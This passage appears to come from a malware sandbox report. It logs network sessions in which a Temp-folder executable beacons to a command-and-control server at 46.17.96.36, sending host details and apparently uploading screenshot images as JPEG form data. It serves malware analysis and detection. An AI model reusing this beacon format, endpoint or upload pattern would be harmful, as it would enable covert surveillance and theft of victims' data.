Aug 29, 2021 22:27:41.472390890 CEST	8288	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----eae9700a714e425f73995764be569cb3 Host: 46.17.96.36 Content-Length: 110906 Cache-Control: no-cache
Aug 29, 2021 22:27:41.472394943 CEST	8288	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 61 65 39 37 30 30 61 37 31 34 65 34 32 35 66 37 33 39 39 35 37 36 34 62 65 35 36 39 63 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------eae9700a714e425f73995764be569cb3Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:41.472551107 CEST	8298	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:41.472628117 CEST	8301	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:41.505217075 CEST	8309	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:41.505260944 CEST	8314	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:41.505278111 CEST	8317	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:41.506047964 CEST	8321	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:41.506076097 CEST	8326	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:41.538140059 CEST	8329	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:41.538172960 CEST	8337	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:41.642554998 CEST	8400	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49742	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:11.410922050 CEST	1773	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:11.411566973 CEST	1773	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:11.412080050 CEST	1783	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:11.412585020 CEST	1785	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:11.444426060 CEST	1794	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:11.444463968 CEST	1799	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:11.444484949 CEST	1806	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:11.444883108 CEST	1811	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:11.477122068 CEST	1824	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:11.477191925 CEST	1851	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:11.477492094 CEST	1861	OUT	Data Raw: bf f6 fc cc d5 f1 9f 86 ed e0 85 56 ec c7 19 dc ab 18 b5 94 18 c2 05 2d b9 76 e5 00 0c a7 2c 00 c1 15 7e cf c4 3a 66 a1 a9 4d 61 69 3b cd 3c 3f 7c ac 0f e5 8e 01 c7 99 b7 61 38 60 78 3d eb 99 b8 f0 5d fd b5 cd ad ce 99 73 14 f7 06 19 e3 bb 9e fe Data Ascii: V-v,~:fMai;<?\|a8`x=]sBYW(~^?vu,V>,Gw<h9[?i*0=WB6i_t<Aq=i(-(0KIK@Q-:JALQIE
Aug 29, 2021 22:27:11.580934048 CEST	1880	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49808	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:41.665491104 CEST	8401	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:41.739428043 CEST	8401	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49810	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:41.917011976 CEST	8402	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----756f3da479f67c608b77a871878871ba Host: 46.17.96.36 Content-Length: 111043 Cache-Control: no-cache
Aug 29, 2021 22:27:41.917108059 CEST	8402	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 35 36 66 33 64 61 34 37 39 66 36 37 63 36 30 38 62 37 37 61 38 37 31 38 37 38 38 37 31 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------756f3da479f67c608b77a871878871baContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:41.917357922 CEST	8413	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:41.917476892 CEST	8415	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:41.950187922 CEST	8421	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:41.950226068 CEST	8424	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:41.950237036 CEST	8429	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:41.950506926 CEST	8441	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:41.984520912 CEST	8444	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:41.984616041 CEST	8457	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:41.985043049 CEST	8468	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:42.093851089 CEST	8514	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49809	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:41.918452978 CEST	8415	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:41.995179892 CEST	8490	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49811	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:42.215984106 CEST	8515	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:42.291254997 CEST	8515	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49812	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:42.481004953 CEST	8516	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:42.481086969 CEST	8516	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:42.481250048 CEST	8526	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:42.481359005 CEST	8529	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:42.514079094 CEST	8532	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:42.514130116 CEST	8538	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
